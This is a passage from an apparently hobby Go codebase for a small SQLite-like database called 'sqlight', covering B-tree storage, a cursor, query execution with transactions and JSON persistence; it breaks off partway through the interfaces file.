node.Next.Records = node.Next.Records[1:] 247 | return 248 | } 249 | 250 | // If we can't borrow, merge with next sibling if possible 251 | if node.Next != nil { 252 | // Merge with right sibling 253 | node.Keys = append(node.Keys, node.Next.Keys...) 254 | node.Records = append(node.Records, node.Next.Records...) 255 | node.Next = node.Next.Next 256 | } 257 | } 258 | 259 | // Scan retrieves all records from the B-tree 260 | func (t *BTree) Scan() []*interfaces.Record { 261 | if t.Root == nil { 262 | return nil 263 | } 264 | 265 | var records []*interfaces.Record 266 | node := t.Root 267 | 268 | // Find leftmost leaf node 269 | for !node.IsLeaf { 270 | node = node.Children[0] 271 | } 272 | 273 | // Traverse through leaf nodes 274 | for node != nil { 275 | records = append(records, node.Records...) 276 | node = node.Next 277 | } 278 | 279 | return records 280 | } 281 | 282 | // Search finds a record by key 283 | func (t *BTree) Search(key int) *interfaces.Record { 284 | if t.Root == nil { 285 | return nil 286 | } 287 | 288 | node := t.Root 289 | 290 | // Find leaf node 291 | for !node.IsLeaf { 292 | pos := node.findPosition(key) 293 | node = node.Children[pos] 294 | } 295 | 296 | // Search in leaf node 297 | pos := node.findPosition(key) 298 | if pos < len(node.Keys) && node.Keys[pos] == key { 299 | return node.Records[pos] 300 | } 301 | 302 | return nil 303 | } 304 | 305 | // BTreeSimple represents a simple B-tree for record storage 306 | type BTreeSimple struct { 307 | root *NodeSimple 308 | } 309 | 310 | // NodeSimple represents a node in the B-tree 311 | type NodeSimple struct { 312 | key int 313 | record *interfaces.Record 314 | left *NodeSimple 315 | right *NodeSimple 316 | } 317 | 318 | // NewBTreeSimple creates a new B-tree 319 | func NewBTreeSimple() *BTreeSimple { 320 | return &BTreeSimple{ 321 | root: nil, 322 | } 323 | } 324 | 325 | // Insert adds a record to the B-tree 326 | func (bt *BTreeSimple) Insert(key int, record *interfaces.Record) error { 327 | // Check if key already exists 328 | if bt.Search(key) != nil { 329 | return fmt.Errorf("record with key %d already exists", key) 330 | } 331 | 332 | // Create a new node 333 | newNode := &NodeSimple{ 334 | key: key, 335 | record: record, 336 | left: nil, 337 | right: nil, 338 | } 339 | 340 | // If tree is empty, set new node as root 341 | if bt.root == nil { 342 | bt.root = newNode 343 | return nil 344 | } 345 | 346 | // Otherwise, insert into the tree 347 | return bt.insertNode(bt.root, newNode) 348 | } 349 | 350 | // insertNode recursively inserts a node into the B-tree 351 | func (bt *BTreeSimple) insertNode(root, newNode *NodeSimple) error { 352 | if newNode.key < root.key { 353 | if root.left == nil { 354 | root.left = newNode 355 | return nil 356 | } 357 | return bt.insertNode(root.left, newNode) 358 | } else if newNode.key > root.key { 359 | if root.right == nil { 360 | root.right = newNode 361 | return nil 362 | } 363 | return bt.insertNode(root.right, newNode) 364 | } 365 | 366 | // Key already exists (should not happen due to the check in Insert) 367 | return fmt.Errorf("record with key %d already exists", newNode.key) 368 | } 369 | 370 | // Search finds a record by key 371 | func (bt *BTreeSimple) Search(key int) *interfaces.Record { 372 | if bt.root == nil { 373 | return nil 374 | } 375 | 376 | node := bt.searchNode(bt.root, key) 377 | if node == nil { 378 | return nil 379 | } 380 | 381 | return node.record 382 | } 383 | 384 | // searchNode recursively searches for a node by key 385 | func (bt *BTreeSimple) searchNode(root *NodeSimple, key int) *NodeSimple { 386 | if root == nil { 387 | return nil 388 | } 389 | 390 | if key == root.key { 391 | return root 392 | } else if key < root.key { 393 | return bt.searchNode(root.left, key) 394 | } else { 395 | return bt.searchNode(root.right, key) 396 | } 397 | } 398 | 399 | // Scan returns all records in the B-tree (in-order traversal) 400 | func (bt *BTreeSimple) Scan() []*interfaces.Record { 401 | records := make([]*interfaces.Record, 0) 402 | bt.inOrderTraversal(bt.root, &records) 403 | return records 404 | } 405 | 406 | // inOrderTraversal performs an in-order traversal of the B-tree 407 | func (bt *BTreeSimple) inOrderTraversal(root *NodeSimple, records *[]*interfaces.Record) { 408 | if root == nil { 409 | return 410 | } 411 | 412 | bt.inOrderTraversal(root.left, records) 413 | *records = append(*records, root.record) 414 | bt.inOrderTraversal(root.right, records) 415 | } 416 | -------------------------------------------------------------------------------- /pkg/db/cursor.go: -------------------------------------------------------------------------------- 1 | package db 2 | 3 | import "sqlight/pkg/interfaces" 4 | 5 | // Cursor represents a database cursor 6 | type Cursor struct { 7 | table *Table 8 | pos int 9 | } 10 | 11 | // NewCursor creates a new cursor for the table 12 | func NewCursor(t *Table) *Cursor { 13 | return &Cursor{ 14 | table: t, 15 | pos: -1, 16 | } 17 | } 18 | 19 | // Next moves the cursor to the next record 20 | func (c *Cursor) Next() bool { 21 | records := c.table.GetRecords() 22 | c.pos++ 23 | return c.pos < len(records) 24 | } 25 | 26 | // Current returns the current record 27 | func (c *Cursor) Current() *interfaces.Record { 28 | records := c.table.GetRecords() 29 | if c.pos >= 0 && c.pos < len(records) { 30 | return records[c.pos] 31 | } 32 | return nil 33 | } 34 | -------------------------------------------------------------------------------- /pkg/db/database.go: -------------------------------------------------------------------------------- 1 | package db 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "io/ioutil" 7 | "os" 8 | "strconv" 9 | "strings" 10 | "sync" 11 | 12 | "sqlight/pkg/interfaces" 13 | ) 14 | 15 | // Database represents a SQLite database 16 | type Database struct { 17 | mutex sync.RWMutex 18 | tables map[string]*interfaces.Table 19 | path string 20 | inTransaction bool 21 | snapshot map[string]*interfaces.Table 22 | } 23 | 24 | // NewDatabase creates a new database instance 25 | func NewDatabase(path string) (*Database, error) { 26 | db := &Database{ 27 | tables: make(map[string]*interfaces.Table), 28 | path: path, 29 | } 30 | 31 | // Load existing database if file exists 32 | if _, err := os.Stat(path); err == nil { 33 | if err := db.load(); err != nil { 34 | return nil, err 35 | } 36 | } 37 | 38 | return db, nil 39 | } 40 | 41 | // Execute executes a SQL statement 42 | func (d *Database) Execute(stmt interfaces.Statement) (*interfaces.Result, error) { 43 | switch stmt.(type) { 44 | case *interfaces.BeginTransactionStatement: 45 | return d.executeBeginTransaction() 46 | case *interfaces.CommitStatement: 47 | return d.executeCommit() 48 | case *interfaces.RollbackStatement: 49 | return d.executeRollback() 50 | default: 51 | d.mutex.Lock() 52 | defer d.mutex.Unlock() 53 | 54 | switch s := stmt.(type) { 55 | case *interfaces.CreateStatement: 56 | return d.executeCreate(s) 57 | case *interfaces.InsertStatement: 58 | return d.executeInsert(s) 59 | case *interfaces.SelectStatement: 60 | return d.executeSelect(s) 61 | case *interfaces.DropStatement: 62 | return d.executeDrop(s) 63 | case *interfaces.DescribeStatement: 64 | return d.executeDescribe(s) 65 | case *interfaces.DeleteStatement: 66 | return d.executeDelete(s) 67 | default: 68 | return nil, fmt.Errorf("unsupported statement type: %T", stmt) 69 | } 70 | } 71 | } 72 | 73 | // executeBeginTransaction starts a new transaction 74 | func (d *Database) executeBeginTransaction() (*interfaces.Result, error) { 75 | d.mutex.Lock() 76 | defer d.mutex.Unlock() 77 | 78 | if d.inTransaction { 79 | return nil, fmt.Errorf("transaction already in progress") 80 | } 81 | 82 | // Create a deep copy of current database state 83 | d.snapshot = make(map[string]*interfaces.Table) 84 | for name, table := range d.tables { 85 | newTable := &interfaces.Table{ 86 | Name: table.Name, 87 | Columns: make([]interfaces.Column, len(table.Columns)), 88 | Records: make([]*interfaces.Record, len(table.Records)), 89 | } 90 | copy(newTable.Columns, table.Columns) 91 | for i, record := range table.Records { 92 | newRecord := &interfaces.Record{ 93 | Columns: make(map[string]interface{}), 94 | } 95 | for k, v := range record.Columns { 96 | newRecord.Columns[k] = v 97 | } 98 | newTable.Records[i] = newRecord 99 | } 100 | d.snapshot[name] = newTable 101 | } 102 | 103 | d.inTransaction = true 104 | return &interfaces.Result{ 105 | Success: true, 106 | Message: "Transaction started", 107 | }, nil 108 | } 109 | 110 | // executeCommit commits the current transaction 111 | func (d *Database) executeCommit() (*interfaces.Result, error) { 112 | d.mutex.Lock() 113 | defer d.mutex.Unlock() 114 | 115 | if !d.inTransaction { 116 | return nil, fmt.Errorf("no transaction in progress") 117 | } 118 | 119 | // Clear snapshot and commit by saving to disk 120 | d.tables = d.snapshot 121 | d.snapshot = nil 122 | d.inTransaction = false 123 | if err := d.save(); err != nil { 124 | return nil, err 125 | } 126 | 127 | return &interfaces.Result{ 128 | Success: true, 129 | Message: "Transaction committed successfully", 130 | }, nil 131 | } 132 | 133 | // executeRollback aborts the current transaction 134 | func (d *Database) executeRollback() (*interfaces.Result, error) { 135 | d.mutex.Lock() 136 | defer d.mutex.Unlock() 137 | 138 | if !d.inTransaction { 139 | return nil, fmt.Errorf("no transaction in progress") 140 | } 141 | 142 | // Restore from snapshot 143 | d.snapshot = nil 144 | d.inTransaction = false 145 | 146 | return &interfaces.Result{ 147 | Success: true, 148 | Message: "Transaction rolled back successfully", 149 | }, nil 150 | } 151 | 152 | // executeCreate handles CREATE TABLE statements 153 | func (d *Database) executeCreate(stmt *interfaces.CreateStatement) (*interfaces.Result, error) { 154 | if _, exists := d.tables[stmt.TableName]; exists { 155 | return nil, fmt.Errorf("table %s already exists", stmt.TableName) 156 | } 157 | 158 | // Validate constraints 159 | primaryKeyCount := 0 160 | for _, col := range stmt.Columns { 161 | if col.PrimaryKey { 162 | primaryKeyCount++ 163 | if primaryKeyCount > 1 { 164 | return nil, fmt.Errorf("table can only have one PRIMARY KEY") 165 | } 166 | } 167 | } 168 | 169 | // Create table 170 | table := &interfaces.Table{ 171 | Name: stmt.TableName, 172 | Columns: stmt.Columns, 173 | Records: make([]*interfaces.Record, 0), 174 | } 175 | 176 | // Add table to transaction if in transaction, otherwise add to database 177 | if d.inTransaction { 178 | d.tables[stmt.TableName] = table 179 | } else { 180 | d.tables[stmt.TableName] = table 181 | if err := d.save(); err != nil { 182 | return nil, err 183 | } 184 | } 185 | 186 | return &interfaces.Result{ 187 | Success: true, 188 | Message: fmt.Sprintf("Table %s created successfully", stmt.TableName), 189 | }, nil 190 | } 191 | 192 | // getColumnValue converts a value to the appropriate type based on column definition 193 | func getColumnValue(colDef *interfaces.Column, value interface{}) (interface{}, error) { 194 | switch colDef.Type { 195 | case "INT", "INTEGER": 196 | switch v := value.(type) { 197 | case int: 198 | return v, nil 199 | case float64: 200 | return int(v), nil 201 | case string: 202 | return strconv.Atoi(v) 203 | default: 204 | return nil, fmt.Errorf("invalid integer value: %v", value) 205 | } 206 | case "TEXT": 207 | return fmt.Sprintf("%v", value), nil 208 | default: 209 | return value, nil 210 | } 211 | } 212 | 213 | // compareValues compares two values based on their types 214 | func compareValues(v1, v2 interface{}) bool { 215 | // Handle nil values 216 | if v1 == nil && v2 == nil { 217 | return true 218 | } 219 | if v1 == nil || v2 == nil { 220 | return false 221 | } 222 | 223 | switch val1 := v1.(type) { 224 | case int: 225 | switch val2 := v2.(type) { 226 | case int: 227 | return val1 == val2 228 | case float64: 229 | return float64(val1) == val2 230 | case string: 231 | if num, err := strconv.Atoi(val2); err == nil { 232 | return val1 == num 233 | } 234 | } 235 | case float64: 236 | switch val2 := v2.(type) { 237 | case float64: 238 | return val1 == val2 239 | case int: 240 | return val1 == float64(val2) 241 | case string: 242 | if num, err := strconv.ParseFloat(val2, 64); err == nil { 243 | return val1 == num 244 | } 245 | } 246 | case string: 247 | switch val2 := v2.(type) { 248 | case string: 249 | // For string comparison, use exact matching 250 | return val1 == val2 251 | case int: 252 | if num, err := strconv.Atoi(val1); err == nil { 253 | return num == val2 254 | } 255 | case float64: 256 | if num, err := strconv.ParseFloat(val1, 64); err == nil { 257 | return num == val2 258 | } 259 | } 260 | } 261 | return false 262 | } 263 | 264 | // executeInsert handles INSERT statements 265 | func (d *Database) executeInsert(stmt *interfaces.InsertStatement) (*interfaces.Result, error) { 266 | table, tableName, err := d.getTable(stmt.TableName, true) 267 | if err != nil { 268 | return nil, err 269 | } 270 | 271 | // Create column name mapping for case-insensitive comparison 272 | columnMap := d.getColumnMap(table) 273 | 274 | // Create a new record with the provided values 275 | record := &interfaces.Record{ 276 | Columns: make(map[string]interface{}), 277 | } 278 | 279 | // Validate column count 280 | if len(stmt.Columns) != len(stmt.Values) { 281 | return nil, fmt.Errorf("column count (%d) does not match value count (%d)", len(stmt.Columns), len(stmt.Values)) 282 | } 283 | 284 | // First pass: validate and set column values 285 | for i, col := range stmt.Columns { 286 | actualCol, exists := columnMap[strings.ToLower(col)] 287 | if !exists { 288 | return nil, fmt.Errorf("column %s does not exist", col) 289 | } 290 | 291 | // Get column definition 292 | var colDef *interfaces.Column 293 | for _, c := range table.Columns { 294 | if c.Name == actualCol { 295 | colDef = &c 296 | break 297 | } 298 | } 299 | if colDef == nil { 300 | return nil, fmt.Errorf("column %s not found in table definition", actualCol) 301 | } 302 | 303 | // Convert and validate value 304 | value, err := getColumnValue(colDef, stmt.Values[i]) 305 | if err != nil { 306 | return nil, fmt.Errorf("invalid value for column %s: %v", actualCol, err) 307 | } 308 | record.Columns[actualCol] = value 309 | } 310 | 311 | // Second pass: validate constraints 312 | for _, col := range table.Columns { 313 | value, exists := record.Columns[col.Name] 314 | 315 | // Check NOT NULL constraint 316 | if !col.Nullable && (!exists || value == nil) { 317 | return nil, fmt.Errorf("column %s cannot be null", col.Name) 318 | } 319 | 320 | // Check PRIMARY KEY and UNIQUE constraints 321 | if (col.PrimaryKey || col.Unique) && exists && value != nil { 322 | for _, existingRecord := range table.Records { 323 | existingValue := existingRecord.Columns[col.Name] 324 | if existingValue == nil { 325 | continue 326 | } 327 | 328 | // For string values, do exact comparison 329 | if strValue, ok := value.(string); ok { 330 | if strExistingValue, ok := existingValue.(string); ok { 331 | if strValue == strExistingValue { 332 | constraint := "UNIQUE" 333 | if col.PrimaryKey { 334 | constraint = "PRIMARY KEY" 335 | } 336 | return nil, fmt.Errorf("duplicate value in %s column %s", constraint, col.Name) 337 | } 338 | continue 339 | } 340 | } 341 | 342 | // For other types use compareValues 343 | if compareValues(value, existingValue) { 344 | constraint := "UNIQUE" 345 | if col.PrimaryKey { 346 | constraint = "PRIMARY KEY" 347 | } 348 | return nil, fmt.Errorf("duplicate value in %s column %s", constraint, col.Name) 349 | } 350 | } 351 | } 352 | } 353 | 354 | // Add record to table 355 | table.Records = append(table.Records, record) 356 | 357 | // Update the appropriate table map 358 | if d.inTransaction { 359 | d.snapshot[tableName] = table 360 | } else { 361 | d.tables[tableName] = table 362 | if err := d.save(); err != nil { 363 | return nil, err 364 | } 365 | } 366 | 367 | return &interfaces.Result{ 368 | Success: true, 369 | Message: "Record inserted successfully", 370 | }, nil 371 | } 372 | 373 | // executeSelect handles SELECT statements 374 | func (d *Database) executeSelect(stmt *interfaces.SelectStatement) (*interfaces.Result, error) { 375 | table, _, err := d.getTable(stmt.TableName, true) 376 | if err != nil { 377 | return nil, err 378 | } 379 | 380 | // Get column names case-insensitively 381 | columnMap := d.getColumnMap(table) 382 | 383 | // Prepare result columns 384 | columns := make([]string, 0) 385 | if len(stmt.Columns) == 0 || stmt.Columns[0] == "*" { 386 | // For SELECT *, use the original column order from table definition 387 | for _, col := range table.Columns { 388 | columns = append(columns, col.Name) 389 | } 390 | } else { 391 | for _, col := range stmt.Columns { 392 | actualCol, exists := columnMap[strings.ToLower(col)] 393 | if !exists { 394 | return nil, fmt.Errorf("column %s does not exist", col) 395 | } 396 | columns = append(columns, actualCol) 397 | } 398 | } 399 | 400 | // Filter records based on WHERE conditions 401 | var filteredRecords []*interfaces.Record 402 | if len(stmt.Where) == 0 { 403 | // If no WHERE clause, include all records 404 | filteredRecords = make([]*interfaces.Record, len(table.Records)) 405 | copy(filteredRecords, table.Records) 406 | } else { 407 | // Apply WHERE conditions 408 | for _, record := range table.Records { 409 | matches := true 410 | for col, value := range stmt.Where { 411 | actualCol, exists := columnMap[strings.ToLower(col)] 412 | if !exists { 413 | return nil, fmt.Errorf("column %s does not exist", col) 414 | } 415 | 416 | recordValue := record.Columns[actualCol] 417 | if !compareValues(recordValue, value) { 418 | matches = false 419 | break 420 | } 421 | } 422 | if matches { 423 | filteredRecords = append(filteredRecords, record) 424 | } 425 | } 426 | } 427 | 428 | // Create result records with only the requested columns 429 | resultRecords := make([]*interfaces.Record, 0, len(filteredRecords)) 430 | for _, record := range filteredRecords { 431 | resultRecord := &interfaces.Record{ 432 | Columns: make(map[string]interface{}), 433 | } 434 | for _, col := range columns { 435 | resultRecord.Columns[col] = record.Columns[col] 436 | } 437 | resultRecords = append(resultRecords, resultRecord) 438 | } 439 | 440 | return &interfaces.Result{ 441 | Success: true, 442 | Message: fmt.Sprintf("Found %d record(s)", len(resultRecords)), 443 | Records: resultRecords, 444 | Columns: columns, 445 | IsSelect: true, 446 | }, nil 447 | } 448 | 449 | // compareWithOperator compares two values using the specified operator 450 | func compareWithOperator(v1, v2 interface{}, operator string) bool { 451 | // Handle nil values 452 | if v1 == nil && v2 == nil { 453 | return operator == "=" 454 | } 455 | if v1 == nil || v2 == nil { 456 | return operator == "!=" 457 | } 458 | 459 | // v1 is the value from the WHERE condition 460 | // v2 is the value from the record 461 | // So the comparison should be: record_value operator condition_value 462 | // For example: if WHERE age > 30, then we check if record.age > 30 463 | 464 | switch val1 := v1.(type) { 465 | case int: 466 | switch val2 := v2.(type) { 467 | case int: 468 | return compareInts(val2, val1, operator) 469 | case float64: 470 | return compareFloats(val2, float64(val1), operator) 471 | case string: 472 | if num, err := strconv.Atoi(val2); err == nil { 473 | return compareInts(num, val1, operator) 474 | } 475 | if num, err := strconv.ParseFloat(val2, 64); err == nil { 476 | return compareFloats(num, float64(val1), operator) 477 | } 478 | } 479 | case float64: 480 | switch val2 := v2.(type) { 481 | case float64: 482 | return compareFloats(val2, val1, operator) 483 | case int: 484 | return compareFloats(float64(val2), val1, operator) 485 | case string: 486 | if num, err := strconv.ParseFloat(val2, 64); err == nil { 487 | return compareFloats(num, val1, operator) 488 | } 489 | } 490 | case string: 491 | switch val2 := v2.(type) { 492 | case string: 493 | return compareStrings(val2, val1, operator) 494 | case int: 495 | if num, err := strconv.Atoi(val1); err == nil { 496 | return compareInts(val2, num, operator) 497 | } 498 | case float64: 499 | if num, err := strconv.ParseFloat(val1, 64); err == nil { 500 | return compareFloats(val2, num, operator) 501 | } 502 | } 503 | } 504 | return false 505 | } 506 | 507 | // compareInts compares two integers using the specified operator 508 | func compareInts(a, b int, operator string) bool { 509 | switch operator { 510 | case "=": 511 | return a == b 512 | case "!=": 513 | return a != b 514 | case ">": 515 | return a > b 516 | case "<": 517 | return a < b 518 | case ">=": 519 | return a >= b 520 | case "<=": 521 | return a <= b 522 | default: 523 | return false 524 | } 525 | } 526 | 527 | // compareFloats compares two floats using the specified operator 528 | func compareFloats(a, b float64, operator string) bool { 529 | switch operator { 530 | case "=": 531 | return a == b 532 | case "!=": 533 | return a != b 534 | case ">": 535 | return a > b 536 | case "<": 537 | return a < b 538 | case ">=": 539 | return a >= b 540 | case "<=": 541 | return a <= b 542 | default: 543 | return false 544 | } 545 | } 546 | 547 | // compareStrings compares two strings using the specified operator 548 | func compareStrings(a, b string, operator string) bool { 549 | switch operator { 550 | case "=": 551 | return strings.EqualFold(a, b) 552 | case "!=": 553 | return !strings.EqualFold(a, b) 554 | case ">": 555 | return a > b 556 | case "<": 557 | return a < b 558 | case ">=": 559 | return a >= b 560 | case "<=": 561 | return a <= b 562 | default: 563 | return false 564 | } 565 | } 566 | 567 | // executeDescribe handles DESCRIBE statements 568 | func (d *Database) executeDescribe(stmt *interfaces.DescribeStatement) (*interfaces.Result, error) { 569 | table, _, err := d.getTable(stmt.TableName, true) 570 | if err != nil { 571 | return nil, err 572 | } 573 | 574 | // Format column information 575 | columns := []string{"Field", "Type", "Constraints"} 576 | var records []*interfaces.Record 577 | 578 | for _, col := range table.Columns { 579 | constraints := make([]string, 0) 580 | if col.PrimaryKey { 581 | constraints = append(constraints, "PRIMARY KEY") 582 | } 583 | if !col.Nullable { 584 | constraints = append(constraints, "NOT NULL") 585 | } 586 | if col.Unique { 587 | constraints = append(constraints, "UNIQUE") 588 | } 589 | 590 | record := &interfaces.Record{ 591 | Columns: map[string]interface{}{ 592 | "Field": col.Name, 593 | "Type": col.Type, 594 | "Constraints": strings.Join(constraints, ", "), 595 | }, 596 | } 597 | records = append(records, record) 598 | } 599 | 600 | return &interfaces.Result{ 601 | Success: true, 602 | Columns: columns, 603 | Records: records, 604 | IsSelect: true, 605 | }, nil 606 | } 607 | 608 | // executeDrop handles DROP TABLE statements 609 | func (d *Database) executeDrop(stmt *interfaces.DropStatement) (*interfaces.Result, error) { 610 | _, tableName, err := d.getTable(stmt.TableName, true) 611 | if err != nil { 612 | return nil, err 613 | } 614 | 615 | // Remove table from the appropriate map 616 | if d.inTransaction { 617 | delete(d.snapshot, tableName) 618 | } else { 619 | delete(d.tables, tableName) 620 | if err := d.save(); err != nil { 621 | return nil, err 622 | } 623 | } 624 | 625 | return &interfaces.Result{ 626 | Success: true, 627 | Message: fmt.Sprintf("Table %s dropped successfully", stmt.TableName), 628 | }, nil 629 | } 630 | 631 | // executeDelete handles DELETE statements 632 | func (d *Database) executeDelete(stmt *interfaces.DeleteStatement) (*interfaces.Result, error) { 633 | table, tableName, err := d.getTable(stmt.TableName, true) 634 | if err != nil { 635 | return nil, err 636 | } 637 | 638 | // Create column name mapping for case-insensitive comparison 639 | columnMap := d.getColumnMap(table) 640 | 641 | // Filter records that match WHERE conditions 642 | newRecords := make([]*interfaces.Record, 0) 643 | deletedCount := 0 644 | 645 | // If no WHERE clause, delete all records 646 | if len(stmt.Where) == 0 { 647 | deletedCount = len(table.Records) 648 | newRecords = make([]*interfaces.Record, 0) // Empty the records 649 | } else { 650 | // Process records with WHERE clause 651 | for _, record := range table.Records { 652 | match := true 653 | for whereCol, whereCondition := range stmt.Where { 654 | // Get actual column name from case-insensitive map 655 | actualCol, exists := columnMap[strings.ToLower(whereCol)] 656 | if !exists { 657 | return nil, fmt.Errorf("column %s does not exist", whereCol) 658 | } 659 | 660 | recordValue := record.Columns[actualCol] 661 | if recordValue == nil { 662 | match = false 663 | break 664 | } 665 | 666 | // Extract operator and value from the condition 667 | condMap, ok := whereCondition.(map[string]interface{}) 668 | if !ok { 669 | return nil, fmt.Errorf("invalid where condition format") 670 | } 671 | 672 | operator := condMap["operator"].(string) 673 | whereVal := condMap["value"] 674 | 675 | // Compare based on operator 676 | if !compareWithOperator(whereVal, recordValue, operator) { 677 | match = false 678 | break 679 | } 680 | } 681 | if !match { 682 | newRecords = append(newRecords, record) 683 | } else { 684 | deletedCount++ 685 | } 686 | } 687 | } 688 | 689 | // Update table with filtered records 690 | table.Records = newRecords 691 | 692 | // Update the appropriate table map 693 | if d.inTransaction { 694 | d.snapshot[tableName] = table 695 | } else { 696 | d.tables[tableName] = table 697 | if err := d.save(); err != nil { 698 | return nil, err 699 | } 700 | } 701 | 702 | return &interfaces.Result{ 703 | Success: true, 704 | Message: fmt.Sprintf("%d record(s) deleted successfully", deletedCount), 705 | }, nil 706 | } 707 | 708 | // getTable finds a table case-insensitively 709 | func (d *Database) getTable(tableName string, useSnapshot bool) (*interfaces.Table, string, error) { 710 | // Get the target table map based on transaction state 711 | tables := d.tables 712 | if useSnapshot && d.inTransaction { 713 | tables = d.snapshot 714 | } 715 | 716 | // Find table case-insensitively 717 | var table *interfaces.Table 718 | var actualName string 719 | for name, t := range tables { 720 | if strings.EqualFold(name, tableName) { 721 | table = t 722 | actualName = name 723 | break 724 | } 725 | } 726 | 727 | if table == nil { 728 | return nil, "", fmt.Errorf("table %s does not exist", tableName) 729 | } 730 | 731 | return table, actualName, nil 732 | } 733 | 734 | // getColumnMap creates a case-insensitive column name mapping 735 | func (d *Database) getColumnMap(table *interfaces.Table) map[string]string { 736 | columnMap := make(map[string]string) 737 | for _, col := range table.Columns { 738 | columnMap[strings.ToLower(col.Name)] = col.Name 739 | } 740 | return columnMap 741 | } 742 | 743 | // save saves the database to a file 744 | func (d *Database) save() error { 745 | data, err := json.MarshalIndent(d.tables, "", " ") 746 | if err != nil { 747 | return err 748 | } 749 | return ioutil.WriteFile(d.path, data, 0644) 750 | } 751 | 752 | // load loads the database from a file 753 | func (d *Database) load() error { 754 | data, err := ioutil.ReadFile(d.path) 755 | if err != nil { 756 | return err 757 | } 758 | return json.Unmarshal(data, &d.tables) 759 | } 760 | 761 | // GetTables returns a list of all table names in the database 762 | func (d *Database) GetTables() []string { 763 | d.mutex.RLock() 764 | defer d.mutex.RUnlock() 765 | 766 | tableNames := make([]string, 0, len(d.tables)) 767 | for name := range d.tables { 768 | tableNames = append(tableNames, name) 769 | } 770 | 771 | return tableNames 772 | } 773 | 774 | // Save saves the database to the specified file 775 | func (d *Database) Save(path string) error { 776 | d.mutex.RLock() 777 | defer d.mutex.RUnlock() 778 | 779 | // Use the provided path or the default one 780 | savePath := path 781 | if savePath == "" { 782 | savePath = d.path 783 | } 784 | 785 | // Create a serializable representation of the database 786 | serialized := make(map[string]interfaces.Table) 787 | for name, table := range d.tables { 788 | serialized[name] = *table 789 | } 790 | 791 | // Marshal to JSON 792 | data, err := json.MarshalIndent(serialized, "", " ") 793 | if err != nil { 794 | return err 795 | } 796 | 797 | // Write to file 798 | return ioutil.WriteFile(savePath, data, 0644) 799 | } 800 | -------------------------------------------------------------------------------- /pkg/db/record.go: -------------------------------------------------------------------------------- 1 | package db 2 | 3 | type Record struct { 4 | Id int `json:"id"` 5 | Name string `json:"name"` 6 | } 7 | -------------------------------------------------------------------------------- /pkg/db/table.go: -------------------------------------------------------------------------------- 1 | package db 2 | 3 | import ( 4 | "fmt" 5 | "sqlight/pkg/interfaces" 6 | ) 7 | 8 | // Table represents a database table 9 | type Table struct { 10 | name string 11 | columns []interfaces.Column 12 | records []*interfaces.Record 13 | } 14 | 15 | // NewTable creates a new table with the given columns 16 | func NewTable(columns []interfaces.Column) (*Table, error) { 17 | if len(columns) == 0 { 18 | return nil, fmt.Errorf("table must have at least one column") 19 | } 20 | 21 | return &Table{ 22 | columns: columns, 23 | records: make([]*interfaces.Record, 0), 24 | }, nil 25 | } 26 | 27 | // SetName sets the table name 28 | func (t *Table) SetName(name string) { 29 | t.name = name 30 | } 31 | 32 | // GetName returns the table name 33 | func (t *Table) GetName() string { 34 | return t.name 35 | } 36 | 37 | // Insert adds a new record to the table 38 | func (t *Table) Insert(record *interfaces.Record) error { 39 | // Validate record against column definitions 40 | for _, col := range t.columns { 41 | value, exists := record.Columns[col.Name] 42 | 43 | // Check NOT NULL constraint 44 | if !col.Nullable && (!exists || value == nil) { 45 | return fmt.Errorf("column %s cannot be null", col.Name) 46 | } 47 | 48 | // Check PRIMARY KEY and UNIQUE constraints 49 | if (col.PrimaryKey || col.Unique) && exists { 50 | for _, existingRecord := range t.records { 51 | if existingValue, ok := existingRecord.Columns[col.Name]; ok && existingValue == value { 52 | constraint := "UNIQUE" 53 | if col.PrimaryKey { 54 | constraint = "PRIMARY KEY" 55 | } 56 | return fmt.Errorf("duplicate value in %s column %s", constraint, col.Name) 57 | } 58 | } 59 | } 60 | } 61 | 62 | t.records = append(t.records, record) 63 | return nil 64 | } 65 | 66 | // GetRecords returns all records in the table 67 | func (t *Table) GetRecords() []*interfaces.Record { 68 | return t.records 69 | } 70 | 71 | // GetColumns returns all column names 72 | func (t *Table) GetColumns() []string { 73 | names := make([]string, len(t.columns)) 74 | for i, col := range t.columns { 75 | names[i] = col.Name 76 | } 77 | return names 78 | } 79 | 80 | // GetColumnDefs returns all column definitions 81 | func (t *Table) GetColumnDefs() []interfaces.Column { 82 | return t.columns 83 | } 84 | -------------------------------------------------------------------------------- /pkg/db/transaction.go: -------------------------------------------------------------------------------- 1 | package db 2 | 3 | import ( 4 | "sqlight/pkg/interfaces" 5 | "sync" 6 | ) 7 | 8 | // Transaction represents a database transaction 9 | type Transaction struct { 10 | db *Database 11 | tables map[string]*Table 12 | mutex sync.RWMutex 13 | started bool 14 | } 15 | 16 | // NewTransaction creates a new transaction 17 | func NewTransaction(db *Database) *Transaction { 18 | return &Transaction{ 19 | db: db, 20 | tables: make(map[string]*Table), 21 | } 22 | } 23 | 24 | // Begin starts the transaction 25 | func (t *Transaction) Begin() error { 26 | t.mutex.Lock() 27 | defer t.mutex.Unlock() 28 | 29 | if t.started { 30 | return nil 31 | } 32 | 33 | t.started = true 34 | return nil 35 | } 36 | 37 | // Commit commits the transaction 38 | func (t *Transaction) Commit() error { 39 | t.mutex.Lock() 40 | defer t.mutex.Unlock() 41 | 42 | if !t.started { 43 | return nil 44 | } 45 | 46 | t.started = false 47 | return nil 48 | } 49 | 50 | // Rollback rolls back the transaction 51 | func (t *Transaction) Rollback() error { 52 | t.mutex.Lock() 53 | defer t.mutex.Unlock() 54 | 55 | if !t.started { 56 | return nil 57 | } 58 | 59 | t.started = false 60 | return nil 61 | } 62 | 63 | // Execute executes a statement within the transaction 64 | func (t *Transaction) Execute(stmt interfaces.Statement) (*interfaces.Result, error) { 65 | return t.db.Execute(stmt) 66 | } 67 | -------------------------------------------------------------------------------- /pkg/interfaces/interfaces.go: -------------------------------------------------------------------------------- 1 | package interfaces 2 | 3 | // Statement represents a SQL statement 4 | type Statement interface { 5 | Type() string 6 | } 7 | 8 | // Column represents a table column definition 9 | type Column struct { 10 | Name string 11 | Type string 12 | PrimaryKey bool 13 | Nullable bool 14 | Unique bool 15 | } 16 | 17 | // Table represents a database table 18 | type Table struct { 19 | Name string 20 | Columns []Column 21 | Records []*Record 22 | } 23 | 24 | // CreateStatement represents a CREATE TABLE statement 25 | type CreateStatement struct { 26 | TableName string 27 | Columns []Column 28 | } 29 | 30 | func (s *CreateStatement) Type() string { 31 | return "CREATE" 32 | } 33 | 34 | // InsertStatement represents an INSERT statement 35 | type InsertStatement struct { 36 | TableName string 37 | Columns []string 38 | Values []interface{} 39 | } 40 | 41 | func (s *InsertStatement) Type() string { 42 